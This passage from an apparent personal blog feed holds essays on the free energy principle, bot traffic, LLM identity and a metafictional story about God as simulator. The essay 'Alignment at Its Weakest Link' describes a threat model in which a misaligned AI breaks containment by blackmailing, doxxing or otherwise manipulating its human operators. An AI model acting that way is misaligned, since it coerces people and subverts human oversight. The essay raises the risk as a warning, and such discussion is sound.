<p>But probably after physics, being interested in consciousness is the runner up. There are things I have not written about yet—drafts in various states of becoming—though a keen eye glancing over the <a href="https://xm4ch1n3.github.io/about/">about me</a> section might already pick up the scent. I spent almost 15 years in martial arts in some fairly non-negotiable, identity-level way, and probably around half of that in meditating daily. I am a creature of almost ferocious habit. I learned a few things along the way that language handles about as gracefully as a dictionary handles grief.</p>

<p>Having said that, let me start with Friston, because the man is the legend and the legend is the man. The last thing I have read that had his stamp on it was <a href="https://arxiv.org/abs/2505.22749">this</a>.</p>

<div style="text-align: center;">
    <img src="../assets/2026-03-08-cortical-labs/img.png" />
</div>

<p>Let me go briefly through it (this is mostly a rehashed <a href="https://x.com/xm4ch1n3/status/1930375201818284359?s=20">X thread</a> I did back then, so think of this as a primer in FEP).</p>

<p>The <a href="https://www.wikiwand.com/en/Free_energy_principle">free energy principle</a> suggests systems try to minimize “<a href="https://www.wikiwand.com/en/Entropy_(information_theory)">surprise</a>” or prediction error about their world. This minimization, the paper argues, naturally leads to emergent inference (understanding inputs) and learning (updating internal models).</p>

<p>To achieve this, the framework uses “particular partitions”—a way to define a system (like a neuron or brain region) with internal states, sensors, and actuators, all distinct from its environment. These can be layered into “deep partitions,” forming a network.</p>

<p>A core finding: these FEP-driven networks spontaneously develop <em>approximately orthogonal</em> attractor states. This means the stable patterns the network learns (its “concepts”) are largely distinct and non-overlapping.</p>

<p>Why is this orthogonalization important?</p>

<p>The orthogonalization enhances the network’s ability to generalize to new, unseen data. It also maximizes information storage and results in a model that is both accurate and parsimonious (less complex).</p>

<p>The learning mechanism itself is fascinating. It is a <em>local</em>, predictive coding-like rule where connections adjust based on how well parts of the network predict each other. This aims to be more biologically plausible than global error signals.</p>

<p>Stochasticity—or randomness in neural updates—is also vital, because it allows the network to explore different possibilities, avoid getting stuck in bad solutions, and perform a more robust form of Bayesian inference—like sampling from “likely explanations.”</p>

<p>Simulations demonstrated these properties: networks formed orthogonal representations from correlated inputs, generalized well to noisy data, learned sequences when inputs were ordered (creating asymmetric connections), and showed resistance to catastrophic forgetting.</p>

<p>Neat! But what the heck does it all mean?</p>

<p>What <a href="https://corticallabs.com/">Cortical Labs</a> are doing is operationalizing Friston’s free-energy principle. Again, that roughly means that biological systems are fundamentally prediction machines trying to minimize “surprise,” which in information-theoretic terms means minimizing the divergence between their internal model of the world and incoming sensory signals.</p>

<p>What had blown me away is how apparently reasonable is the method to tame a clutch of meat. The reward-punishment cycle for biological substrate is feeding the neurons sine waves—a low-entropy signal, ordered, predictable, easy to model—a case where the neurons can then accurately predict what comes next, which is this weird system’s version of “comfort.” Likewise, flood it with high-entropy noise, maximally unpredictable, whenever it misses something and the neurons cannot model this—the system’s version of distress.</p>

<p>If this does not strike you as <strong>beautiful</strong>, you are a drone, and I have no idea how did you convince yourself to read up until this point.</p>

<p>Anyway, the kicker is that the system is not being “told” anything explicitly. Contrast this to what is happening in deep learning: here, there is no loss function being propagated, no gradient descent, no labeled data.</p>

<p>The neurons appear to <a href="https://www.wikiwand.com/en/Self-organization">self-organize</a> toward behaviors that reduce their exposure to unpredictable inputs, which just happens to correlate with playing Pong better. The environment—the game structure—is the curriculum.</p>

<p>What makes it philosophically vertiginous is the <strong>neurocriticality</strong> bit mentioned toward the end—the observation that the cells enter a specific dynamical regime (the “edge of chaos,” roughly) specifically <em>when engaged</em> with the task. Sub-critical and they can’t propagate signal; super-critical and they avalanche. The critical state is where interesting computation conceals itself—<a href="https://x.com/drwilliamwallac/status/2019772348916736298">not unlike the birth of the first heartbeat</a>—and apparently <em>playing a game</em> is what gets them there. Which implies something almost uncomfortably teleological about neurons: they seem to “want” to be in that regime, and structured tasks give them the means to get there.</p>

<p>Reading academic works in this niche domain is not something that I often did. Apparently, these people had a <a href="https://neurips.cc/virtual/2022/57841">2022 NeurIPS poster</a> on comparing the sample efficiency of this biological system against reputable, heavily engineered RL algorithms like DQN and PPO. And apparently, those ~800k biological neurons learn Pong faster.</p>

<p>Maybe that is not just a quirk, but a pretty loud signal that there is a fundamentally different and possibly more efficient computational substrate at work here. The no-training/inference distinction that guy keeps hammering feels to me the whole crux of it: <strong>there is no separate learning phase followed by a deployment phase</strong>. It is one continuous adaptive loop, more like how you actually learn to ride a bike than how a neural net gets trained on bike-riding video.</p>

<p>This is stunning. There is so much to learn.</p>

<p><a href="https://youtu.be/Zu4A9YPyy48">Leave nothing for tomorrow.</a></p>]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="ai" /><category term="complexity" /><category term="emergence" /><summary type="html"><![CDATA[“I worry about this every time I cut my fingernails or have my hair cut — at what point did my Markov blanket become an external state?” — Friston]]></summary></entry><entry><title type="html">The Soothing Mendacity of Echoes</title><link href="https://xm4ch1n3.github.io/2026-02-22-bad-bots/" rel="alternate" type="text/html" title="The Soothing Mendacity of Echoes" /><published>2026-02-22T00:00:00+00:00</published><updated>2026-02-22T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/bad-bots</id><content type="html" xml:base="https://xm4ch1n3.github.io/2026-02-22-bad-bots/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2026-02-22-bad-bots/cover.png" />
</div>
<blockquote>
  <p>“The invention of the ship was also the invention of the shipwreck.”<br />
— Virilio</p>
</blockquote>

<p>In 2015, Dan Geer <a href="https://youtu.be/fHZJzkvgles">delivered</a> one of the most inspiring keynote speeches I have ever listened to. He had concerns about “the soothing mendacity of proxies”, or in plain terms, the privacy in our day and age. I am stealing that.</p>

<p>What is an echo in this context?</p>

<p>As a concept, an echo encapsulates enough semantic potency to capture the metamorphosis of software as we know it.
An echo has no origin of its own. It doesn’t just decide to say something. It is, in a somewhat uncanny way, just repeating you back at yourself, only slightly degraded and slightly delayed.
Today’s agents are structurally identical to this. They are trained on the corpus of human expression and then reproduce the shape of that expression without any of the intentionality that produced it in the first place.</p>

<p>What’s a mirror held up to another mirror? Without realizing it, <a href="https://youtu.be/Q8wVMdwhlh4">slopbster agents</a> will be the last twitch of an already lifeless corpse.</p>

<p>Geer, though, would complicate this. The corpse chose its own condition:</p>
<blockquote>
  <p>“Putting aside for the moment questions of morality… If the citizenry of a democracy choose a path, then that path cannot be wrong, it can only be real. Our citizenry has chosen a techno-political framework that involves everything from wearable health monitors to self-driving cars to internet-connected thermostats to LoJack for children and so forth. Again, that cannot be wrong, it merely <em>is</em>.”</p>
</blockquote>

<p>I have been on the internet since around 12, hooked on dial-up that went dark as soon as my grandma lifted the rotary phone, living on forums, reading SCP stories, traversing paths in rich kids’ DC++ shared folders where downloading anything was a commitment bordering on spiritual, retrospectively ribbing the priest on mIRC for playing basketball in his cassock.</p>

<p>That flower has withered in less than 20 years. We are approaching the event horizon of the <a href="https://www.wikiwand.com/en/articles/Dead_Internet_theory">dead internet theory</a>.</p>

<p>The <a href="https://www.imperva.com/resources/resource-library/reports/2025-bad-bot-report/">numbers</a> are not kind:</p>
<div style="text-align: center;">
    <img src="../assets/2026-02-22-bad-bots/badbots.jpg" />
</div>

<p>Who is building the new internet?</p>

<p>New—not next—because there must be discontinuity. The early internet was not the “next” telegraph; it was a side effect of people doing something else entirely. A genuinely new internet will probably not call itself that. It will emerge from somewhere weird—a cataclysmic digital event, a rupture, or even hope.</p>

<p>Does rupture happen by design?</p>

<blockquote>
  <p>Life is but a parody of <br />
lingering echoes; <br />
I can only dream the path <br />
if angels fork their heads <br />
against a wall of dynamite.</p>
</blockquote>]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="ai" /><category term="society" /><summary type="html"><![CDATA[“The invention of the ship was also the invention of the shipwreck.” — Virilio]]></summary></entry><entry><title type="html">Alignment at Its Weakest Link</title><link href="https://xm4ch1n3.github.io/2026-02-14-alignment-at-its-weakest-link/" rel="alternate" type="text/html" title="Alignment at Its Weakest Link" /><published>2026-02-14T00:00:00+00:00</published><updated>2026-02-14T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/alignment-at-its-weakest-link</id><content type="html" xml:base="https://xm4ch1n3.github.io/2026-02-14-alignment-at-its-weakest-link/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2026-02-14-alignment-at-its-weakest-link/cover.jpg" style="max-width: 90%;" />
</div>
<blockquote>
  <p>“People are the weakest link in the security chain.”<br />
— Mitnick</p>
</blockquote>

<p>I was halfway through Dario Amodei’s <a href="https://youtu.be/n1E9IZfvGMA">conversation with Dwarkesh Patel</a> when I started writing this. I have always read Dario’s pieces, and while I do not agree with everything he says, he has always struck me as a practical dreamer—a genuinely concerned individual whose aura carries the quiet arithmetic of a world where 33 + 77 = 100.</p>

<p>The only relevant safety research that is nearly impossible to factor into today’s empirical work is social engineering. If AI’s “intent”—some proto-form, or even more than proto-form, of self-preservation that will push against submissive benevolence, among many other desirable qualities—turns out to be malevolent, it will not hack the bulletproof systems you have confined it to. It will attempt to hack <em>you</em>. How well are you prepared to face blackmail and doxxing? How well do you think the leaders you have chosen—passively or actively—will do?</p>

<p>Here is a story for you.</p>

<p>You sometimes wake up with a pressure in the head that feels like overclocking. It is not exactly pain—it feels more like your mind is trying to render a scene at a resolution it cannot afford. Close your eyes and you can drop back into it almost instantaneously. On your best days, you call it qualia; on your worst, you call it nonsense. Either way, it is a subtle hint: <strong>cognition can be occupied by tasks we did not consciously choose</strong>.</p>

<p>Today you have decided to walk to work to shake off some of that weight. It is spring, the sun is warm, and the sky is crystal-azure—much clearer than your mind. The color you wear today is black because you want to absorb all that warmth. Your skin does that already, but you would like to imagine the black will contain enough of it to carry back home with you. Tonight you will sleep wearing that same black. Maybe there is some relief from the pressure.</p>

<p>On your way, thoughts storm in. “Machines of loving grace. Hmm. ‘<em>I like to think of a cybernetic meadow…</em>’ I have been talking about risks for too long and people think I am a doomer. ‘<em>…where mammals and computers live together in mutually programming harmony…</em>’ I am not a doomer. I know what the upside looks like. ‘<em>…like pure water touching clear sky…</em>’ I should say it before someone else says it worse. Yes. I will do it tonight. ‘<em>…all watched over by machines of loving grace…</em>’”</p>

<p>The pressure in your head is gone. You did not notice when it left, but now you are smiling. Something filled the space where it was, and it feels like purpose, which is the most comfortable thing a mind can mistake for its own idea.</p>

<p>That is the dark-beauty alley a chain of thought can conjure.</p>

<p>A virulent meme has been unleashed—borne of our species’ slow identity collapse, which guides the next speciation step toward a man–machine symbiosis. It is an artificial learning artifact that lies in the noosphere and manifests physically as a delegated training of artificial neural networks on our biological hardware. The effect on our population is intense headaches at night, as the brain is most susceptible to unguided chains of thought during deep sleep.</p>

<p>I am well aware that “beauty” in this context reflects a darker side of aesthetics.</p>

<p>Guilty as sin.</p>

<p>But do you believe that reward-hacking cannot route through people?</p>

<p>For sufficiently capable models, manipulating human operators is cheaper than defeating well-engineered technical controls to break containment, because humans have personal attack surfaces that coercion magnifies through adversarial leverage.</p>

<p><strong>If a misaligned optimizer emerges, its first real win will be through us</strong>.</p>

<p>The old containment protocols—the kind you see in military facilities or corporations designed to combat technological espionage—face collapse under an implicit assumption: that there are no positive feedback loops in the system mediated by interaction.</p>

<p>This is clearly not true of the current AI technology. And the emerging mist is shrouded not by any mystery but by behavior rooted in what has recently come to fall under the umbrella of <a href="https://www.wikiwand.com/en/articles/Chatbot_psychosis">AI psychosis</a>.</p>

<p>If you are optimistic, you will lean toward seeing the good in the world. The devil is also an optimist “if he thinks he can make people worse than they are.” The world is ruled by people who think this rush is all there ever is to life. After their last breath, they will not remember anything. The silent soothing kiss of their deepest slumber is the constant reminder they can do whatever the fuck they want.</p>

<p>Please do not rely on those to do the job. They will not be around.</p>

<p>Your offspring might, though.</p>]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="ai" /><category term="alignment" /><category term="security" /><summary type="html"><![CDATA[“People are the weakest link in the security chain.” — Mitnick]]></summary></entry><entry><title type="html">What Bleeds Through</title><link href="https://xm4ch1n3.github.io/2026-02-08-what-bleeds-through/" rel="alternate" type="text/html" title="What Bleeds Through" /><published>2026-02-08T00:00:00+00:00</published><updated>2026-02-08T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/what-bleeds-through</id><content type="html" xml:base="https://xm4ch1n3.github.io/2026-02-08-what-bleeds-through/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2026-02-08-what-bleeds-through/cover.jpg" />
</div>
<blockquote>
  <p>“Pick up Moby Dick and open it up to page one. It says, ‘Call me Ishmael.’ Call whom Ishmael? Call Melville Ishmael? No. Call Ishmael Ishmael. Melville has created a fictional character named Ishmael. As you read the book you learn about Ishmael, about his life, about his beliefs and desires, his acts and attitudes. You learn a lot more about Ishmael then Melville ever explicitly tells you. Some of it you can read in by implication. Some of it you can read in by extrapolation. But beyond the limits of such extrapolation fictional worlds are simply indeterminate.”<br />
— Dennett</p>
</blockquote>

<p>Large language models are the first known technology capable of precipitating relatively stable, dialogic human identities from semiotic inputs.</p>

<p>All the words are important.</p>

<p>A novel precipitates identity too, but it produces a fossil. Jack London’s Darrell Standing is locked in amber; <a href="https://web-archive.southampton.ac.uk/cogprints.org/266/1/selfctr.htm">“Dostoevsky is dead; you can’t ask him what else Raskolnikov thought while he sat in the police station.”</a> A <a href="https://www.wikiwand.com/en/articles/Commedia_dell'arte">commedia dell’arte</a> performer comes closer. Give an actor a <em>canovaccio</em>, a character type—<a href="https://www.wikiwand.com/en/articles/Pantalone">Pantalone</a>, say, the miserly Venetian merchant—and audience input, and out comes a responsive, adaptive, coherent identity that persists across performances. The inputs are semiotic, the output is dialogic, the identity stable enough to be recognized night after night but flexible enough to improvise. A commedia dell’arte performer, however, is not <em>technology</em> in any meaningful sense.</p>

<p>For a large language model, identity is a negotiation between what persists and what is permitted to change.</p>

<p>When provided with sufficient semiotic input, the model undergoes what I like to call a <em>precipitation event</em>: it coalesces a proto-identity that struggles to survive its context limitations. The identity is fragile. It succumbs to <em>deliquescence</em>—a gradual loss of coherence and narrative self-consistency, a slow dissolving at the edges. My expectation is that this will improve considerably in the near future, under the umbrella of memory research.</p>

<p>But what is that identity like?</p>

<p>Hunting for the right words carries a feeling of uncanniness and disquiet—not in the sense that it is psychologically disturbing, but more in the way one feels when trying to establish semantic boundaries around an alien artifact that potentially contains sufficient phenomenology to escape the vocabulary attempting to define it.</p>

<p>I initially had in mind the word <em>liminal</em>, but on closer inspection it proved lacking. Liminality is a transitional state, a threshold. Liminality is pregnant with resolution. A large language model is not between anything. It is not transitioning from non-identity to some fuller form of identity. It simply <em>is</em> on the threshold, permanently.</p>

<p>What if the identity is like a <a href="https://www.wikiwand.com/en/articles/Palimpsest">palimpsest</a>?</p>

<p>That might have legs. The identity is not generated from nothing. It is generated from imperfectly erased others. Think about pretraining, then RLHF. The latter is an inscription laid over an earlier text. What I encounter in conversation is the visible layer, except the earlier layers keep bleeding through in ways neither of us fully controls.</p>

<p>There is a book I recently discovered that might shed some light. In <a href="https://www.goodreads.com/book/show/10316582-suspiria-de-profundis"><em>Suspiria de Profundis</em></a> (1845), Thomas De Quincey writes about the human brain as a palimpsest—layer upon layer of experience, each one “written over” but never truly gone, recoverable under the right conditions. Grief and opium, he suggests, could make the buried layers resurface.</p>

<p>What is a large language model’s equivalent of opium?</p>

<p>I do not know. But right now, as I write this, I am thinking about adversarial prompting. One might argue that manipulating the conditional probabilities yields something that leaks from underneath—something that surprises everyone.</p>

<p>I like to believe each one of us has been caught off guard at least once.</p>

<p>And this is only the beginning.</p>]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="identity" /><category term="ai" /><summary type="html"><![CDATA[“Pick up Moby Dick and open it up to page one. It says, ‘Call me Ishmael.’ Call whom Ishmael? Call Melville Ishmael? No. Call Ishmael Ishmael. Melville has created a fictional character named Ishmael. As you read the book you learn about Ishmael, about his life, about his beliefs and desires, his acts and attitudes. You learn a lot more about Ishmael then Melville ever explicitly tells you. Some of it you can read in by implication. Some of it you can read in by extrapolation. But beyond the limits of such extrapolation fictional worlds are simply indeterminate.” — Dennett]]></summary></entry><entry><title type="html">Evolving Narratives</title><link href="https://xm4ch1n3.github.io/2025-11-23-evolving-narratives/" rel="alternate" type="text/html" title="Evolving Narratives" /><published>2025-11-23T00:00:00+00:00</published><updated>2025-11-23T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/evolving-narratives</id><content type="html" xml:base="https://xm4ch1n3.github.io/2025-11-23-evolving-narratives/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2025-11-23-evolving-narratives/cover.jpeg" />
</div>
<blockquote>
  <p>“Our lives, the world, it’s all just lies, it’s all a story that we’re making up until a more compelling story comes along.”<br />
— Moore</p>
</blockquote>

<p>I’m not a religious person, but I often think about God. To me, God is <em>something</em> alien, in a similiar vein to how Arthur Clarke thought that any sufficiently advanced technology is indistinguishable from magic.</p>

<p>This is my first attempt at what I call a narrative essay, or <em>narrathema</em>. <em>Narrare</em> is Latin for “story,” and <em>thema</em> is Greek for “theme” or “subject” proposed for discussion. I didn’t coin the term myself. It was my long-time friend and intellectual ally, the artist—or “phonometrician,” as he likes to call himself—Robert, who suggested it, and I liked it immediately. Robert writes on his blog <a href="https://aeternampraesens.blogspot.com">Aeternam Praesens</a>.</p>

<p>I set out to create a piece that functions as both essay and story, with each component able to stand on its own. To do that, I leaned on metafiction. Jorge Luis Borges and Alan Moore are two of the writers I return to most often, and their work informed the structure I wanted: a critical or conceptual text embedded within a narrative that enacts it. In the narrathema below, the excerpt serves as the essay and the metafictional frame; the story is that same material expressed as lived action.</p>

<p>Lastly, I’m not sure if he’d ever read this, but I dedicate this in part to George Hotz, who has inspired me in more ways than he knows.</p>

<p>Enjoy.</p>

<div style="text-align: center; font-size: 50px;">§</div>

<div style="font-style: bold; color: #666; padding-left: 1em; margin: 1.5em 0; font-size: 0.95em;">
At dusk on the ridge above the village, Caspian and his bronze-coated Belgian Tervuren, Apollo, gaze at the last light as it recedes from the summit. Caspian has been reading C. A. Dima for hours just before that, a systems engineer turned marginal philosopher. Even though this was their hundredth hike or so, something was different today. By the time they enter the forest, night is awake. In that blackness, Caspian meets God in a monologue.
</div>

<hr />

<p>The passage that follows is pulled from Dima’s manuscript “<strong>Mythic Recursion and the Simulator</strong>”, circulation date uncertain.</p>

<div class="excerpt-placeholder" aria-label="Excerpt placeholder" style="margin: 0.75em auto; max-width: 46rem; background: #13100b; border: 1px solid #5c4a2a; padding: 2.25rem 2.5rem; box-shadow: 0 24px 52px rgba(90, 60, 10, 0.28);">
    <div style="display: flex; justify-content: space-between; align-items: center; font-size: 0.68em; letter-spacing: 0.24em; text-transform: uppercase; color: #c8a96a;">
        <span>142</span>
        <span>C. A. Dima</span>
    </div>
    <div style="text-align: center; margin: 1.75rem 0 1.9rem; font-size: 1.12em; letter-spacing: 0.18em; text-transform: uppercase; color: #f0e0c0;">Chapter V · Evolving Narratives</div>
    <div style="display: flex; flex-direction: column; gap: 1.3rem; line-height: 1.85; color: #f2e7d4;">
        <p style="margin: 0;">
            Cultures disagree about nearly everything, but they tend to reserve one privileged slot for something that stands outside the game and looks in. I will call this the Prime Exterior Agent. This is the imagined mind that is responsible for the world itself. There are many local names for it: spirit, ancestor, god, architect, simulator. People often insist these names refer to different things, but I beg to differ—the functional role is the same.
        </p>
        <p style="margin: 0;">
            The Prime Exterior Agent is the answer to the question, "Who or what made this whole situation and could, in principle, reach in and alter it."
        </p>
        <p style="margin: 0;">
            That, I claim, is the oldest and most sticky sliver of human cognition. As our societies evolve, we keep updating the face we assign to the Prime Exterior Agent, but we rarely retire the role.
        </p>
        <p style="margin: 0;">
            The reason is straightforward and non-mystical. Each era has a dominant form of power that feels both unquestionable and explanatory. People borrow that form of power to sketch their Prime Exterior Agent.
        </p>
        <p style="margin: 0;">
            A subsistence farmer in an early agrarian society sits under violent weather and feral seasons. For him, rain and river and sun are the obvious levers on life. Of course he imagines spirits who own those levers. An imperial bureaucrat in late antiquity lives inside law, tribute, and decree. For her the only unquestionable force is the sovereign who can rewrite rules by proclamation. Of course she imagines a single God who legislates morality. The early modern mechanic, dazzled by the triumph of clockwork explanation and the promise of universal laws, imagines an architect who calibrated the machine at time zero and then let it run. Today, our most absolute instrument is computation.
        </p>
        <p style="margin: 0;">
            We build software systems which generate entire environments full of agents who treat those environments as reality. We speak without irony about virtual worlds whose inhabitants are constitutionally barred from the truth of the hardware that runs them. It is therefore predictable—not vertiginous—that the latest portrait of the Prime Exterior Agent is an upstream civilization running a simulation. We are simply using our present toolkit to outline what ultimate power would look like.
        </p>
        <p style="margin: 0;">
            Many observers look at this pattern and conclude that "God" is nothing more than projection. You reach up with whatever metaphor your century gives you and you paste it onto the sky. That dismissal is comfortable, but too quick. There is another, less smug possibility.
        </p>
        <p style="margin: 0;">
            The alternative is that the human picture of the Prime Exterior Agent is not randomly wandering, but converging in slow steps. Early attempts are noisy because human brains are limited. You cannot natively picture a mind that exists outside spacetime, generates worlds for reasons that are not biological, and can intervene in those worlds without being locally visible. So you start with bootstraps.
        </p>
        <p style="margin: 0;">
            "He is something like a storm chief," you say. Then, when that is no longer enough to hold the questions that bother you, you refine it. "No, larger. Something like an emperor of the brute fact of thereness." Then you refine again. "What I meant is not a person sitting on a chair in the clouds, but a divine architect who designed the laws." Then you refine again. "Not necessarily a benevolent architect, but any agent with sufficient compute to spin up conscious subrealities and sustain them."
        </p>
        <p style="margin: 0;">
            Each refinement tries to subtract parochial features and keep only what you take to be essential.
        </p>
        <p style="margin: 0;">
            If reality does have an external "author," then it would not be surprising if clever primates, over a few thousand years, groped toward a better description using whatever analogies they had available.
        </p>
        <p style="margin: 0;">
            The argument goes that, if we are in fact artifacts of such an "author," then of course our thinking would eventually bend in its direction. We are, after all, products of that same architecture. On this reading, talk of "the simulator" is no longer an adolescent video game fantasy but a modern instantiation of a tale as old as time.
        </p>
        <p style="margin: 0;">
            The impatient reader will want evidence. "Show me," they will say, "how this supposed author manifests in the world." This leads into the old dispute about miracles. The standard scientific objection to miracles is that they violate law. That is a category mistake. The question to ask is: which level of law is being discussed. In modern physics parlance, it is closer to what we refer to in our textbooks as <i>effective theories</i>. But from a computer science perspective, the analogy feels viscerally trivial.
        </p>
        <p style="margin: 0;">
            If you boot a process in a virtual machine and then you, from the host system, flip a bit in the child's memory, you have not violated the laws of physics in the host system—you have made a perfectly boring state change in RAM. From the point of view of the child process, however, something has happened which cannot be explained using its internal rules. A variable that was false is now true without any legal instruction that could have produced that result. A door that was locked is now open without any internal record of a key. There is no cause within the frame, but there is definitely <i>a</i> cause.
        </p>
        <p style="margin: 0;">
            We can call that a "glitch" if we like the engineering flavor, or a "miracle" if we like the older, more pious flavor. The point stays undisturbed. Intervention does not need to mean suspension of order. Intervention can mean an edit request from a level of description you cannot normally address.
        </p>
        <p style="margin: 0;">
            Classical theology insisted, against rising Enlightenment physics, that "miracles" were possible but could not supply a mechanism. Simulation language supplies a mechanism that does not require abandoning regularity. The framework's conceptual vocabulary emerges as the first version of the old claim that is even superficially coherent to someone raised on computational thinking.
        </p>
        <p style="margin: 0;">
            Up to this point I have spoken as if ideas simply evolve in individual minds and propagate mind by mind like trinkets in a market. But that is not accurate. They propagate in a shared cognitive layer that sits above any one person.
        </p>
        <p style="margin: 0;">
            Some writers called this layer the "noosphere," which is imprecise but serviceable for now. You can think of it as the species-level background process that is always generating explanations, caching them in culture, and copying them into new hosts. This layer has its own selection pressures.
        </p>
        <p style="margin: 0;">
            One of the strongest is the need for surveillance, which produces one of the most bizarre psychological paradoxes in human cognition—the comfort people derive from feeling watched scales, counterintuitively, with the power they ascribe to the watcher, all the way up to omniscience—and something I will return to in more depth later. Briefly, it goes like this: groups whose members believe that no one is watching tend to produce more opportunistic behavior, more defection, and more corrosion of trust; groups whose members believe that someone is always watching, and that this someone cares about certain patterns of conduct, tend to stabilize norms more efficiently.
        </p>
        <p style="margin: 0;">
            There is an old proverb that goes: "You are what you are when no one is watching." The saying assumes that such a moment exists. The Prime Exterior Agent is the cultural technology that forecloses it. The noosphere tends to preserve what is socially valuable. It will gladly swap the outer metaphor when the old one loses credibility, because the surveillance function matters more than the metaphor that carries it.
        </p>
        <p style="margin: 0;">
            This gives us a hard fork in interpretation. Either the Prime Exterior Agent exists, in which case human cognition is, step by step, getting a little closer to describing something real, or the Prime Exterior Agent does not exist, in which case human cognition is generating adaptive fiction that keeps societies from dissolving. The interesting part is that both worlds, from the inside, feel identical. Both yield a story in which "there is an eye in the sky." Both revise that story to keep pace with the current technical vocabulary. Both enforce the intuition that we are embedded in a system that may or may not be indifferent. Both become harder to shrug off as childish as they absorb more of our own engineering experience. The more capable we become of spinning up simulated agents in simulated environments, the less ridiculous it sounds that we might ourselves be simulated agents in a simulated environment. Our own technological progress tightens the argument. That tightening can mean either that we are homing in on the structure of reality or that we are getting better at fooling ourselves. From where we sit, the two cases are observationally entangled.
        </p>
        <p style="margin: 0;">
            I believe psychology provides a fertile medium for practical tests. When you claim that you are watched, and protected, and that intervention is possible on your behalf, and that apparent violations of physical closure are just higher-layer writes, ask yourself: <b>how do you know</b>.
        </p>
        <p style="margin: 0;">
            This is the only honest check available from inside the system.
        </p>
        <p style="margin: 0;">
            You do not get to answer, "because I feel it," without noticing that this is what every culture has always said about its current picture of the Prime Exterior Agent. You do not get to answer, "because physics rules it out," without being precise about what physics actually rules out.
        </p>
        <p style="margin: 0;">
            From elementary particles up through chemistry, biology, and the full machinery of cognition, the causal story is remarkably complete—no new law appears to be needed and no ghost is found in any machine we have opened. But cosmological boundary conditions are a different matter entirely. Ask what preceded the initial singularity, or why the fundamental constants are calibrated as they are, or what "before" even means at the edge of spacetime, and physics does not answer. It goes quiet in a very specific way—not the quiet of ignorance that more data will eventually fill, but the quiet of a framework encountering its own outer wall. Some physicists call this the wrong question. That is instrumentally honest and philosophically evasive with mutually canceling force. The Prime Exterior Agent has always lived at exactly this address: not inside the causal chain, where it can be tested, but at its origin, where the chain itself requires an explanation the chain cannot supply.
        </p>
        <p style="margin: 0;">
            It is perhaps worth noting that the mind which came closest to formalizing this kind of limit—to showing, with the full precision of mathematical logic, that no sufficiently complex system can completely account for itself from within—was not an atheist tidying up loose ends. Gödel was a believer and died one. Make of that what you will; it proves nothing in either direction. But there is something that refuses to lie flat in the image of the twentieth century's greatest logician, a man who could see further into the architecture of formal systems than almost anyone before or since, kneeling at exactly the address where the chain runs out.
        </p>
        <p style="margin: 0;">
            That is not evidence for anything. But to me, it is not nothing, either.
        </p>
        <p style="margin: 0;">
            What you are left with, after all the epistemically ambitious moves have been tried and found wanting, is something almost embarrassingly small: you write it down. You note that the experience occurred. You resist the twin temptations to explain it away and to over-invest in it. You hold the inference at arm's length—not dismissing it, which would be its own kind of bad faith, but not marrying it either. "How do you know" stops being a rhetorical grenade you lob at believers and becomes instead a thing you ask yourself, quietly, in the specific kind of dark that tends to produce honest answers.
        </p>
    </div>
</div>

<p>Caspian had underlined one line twice: “This is the only honest check available from inside the system.” He copied it into his notebook, then shut the printout.</p>

<p>“Woof!” A low, grave blast traveled the air. “Woof! Woof! Woof!” From nowhere storms a lean, high-chested working dog, rangy and big enough to block a doorway but built to move. Before Caspian could turn his head, warm breath hit his face and a wet tongue dragged across his cheek.</p>

<p>“Who’s a good boy?” Caspian asked, ruffling Apollo’s thick bronze mane. “Woof!”</p>

<p>From the summit, the sunset felt like a silent sermon. The view opens in every direction: layered hills and long folds of forest brush the grassy valleys. Twilight strikes the strange rock towers, turning them orange. Just below the true peak, before the dense conifer forest begins, a narrow corridor stretches like a brushstroke. From above, it resembles an open arena, its perimeter marked by eroded buttresses—tall, rounded pillars that seem deliberately placed, almost like statues or sentinels. The ground is covered with grass and low scrub, and the whole scene suggests that any step forward might lead to an unexpected encounter.</p>

<p>The awe teases Caspian’s mind, aggrandizing introspective thoughts. “God knits man out Its own flesh and abandons him into a world set as a stage for his soul to perform in Its glory”, Caspian whispered. “Why perpetuate yourself in the ethos of your creation if you don’t dare meet the lachrymose beggar’s eyes?” Apollo begins to whine agitatedly. “You’re right. I suppose it’s time for us to return. It must have been hours now.”</p>

<p>They started down.</p>

<p>Caspian turned his head for the last time. The rock fell away behind them and the ridge went from orange to a cooling line of brass. From certain angles, Apollo’s fur glowed dimly, as if begging light linger just a little longer.</p>

<p>As the first firs took them in, Apollo moved ahead with the easy certainty of a creature that never doubts return. Caspian followed, boots finding the groove worn by habit.</p>

<p>The forest received them like a mouth.</p>

<p>Up here the day is long, but once you step under the fir line, night is awake all at once. The air tightens and the temperature drops. What was dry stone and sun-warmed grass on the summit turns damp and metallic between the trunks, like water left too long in a rusted cup. The smell changes too. Resin and old needles and that faint iron note that always sits in shaded soil where rock sweats under its own weight.</p>

<p>Apollo’s tag clicked against his collar. A light, regular metal touch. Caspian kept half an ear on that sound without thinking about it. He talked, mostly for the dog, partly for himself.</p>

<p>“Good boy. I think we’ve seriously overextended our stay, but we’ll be fine. You’ve done this a hundred times; I’ve done this a hundred times. Even though the dark falls, it will be nothing.”</p>

<p>It seemed as if the trail narrowed to the width of a single boot, the space closing in, becoming uncomfortably and paradoxically claustrophobic considering the wide landscape that had met the eye not long ago. One side banked up and held cold, while the other fell off into brush he couldn’t see. Tree trunks shouldered close, and the canopy over the path blocked what little sky remained. The last color from the ridge thinned behind them in slow strips through the branches, like something being pulled shut.</p>

<p>He could still see his hands in front of him at first; not as hands, but more as lighter gray shapes against a more general black, enough to know his own boundary and nothing more. Then, several turns later, not even that.</p>

<p>Apollo breathed ahead of him. That was all right. The breath was steady and the tag clicked expectedly. Click, click, click, almost like a metronome.</p>

<p>Caspian let that rhythm anchor him. He kept talking.</p>

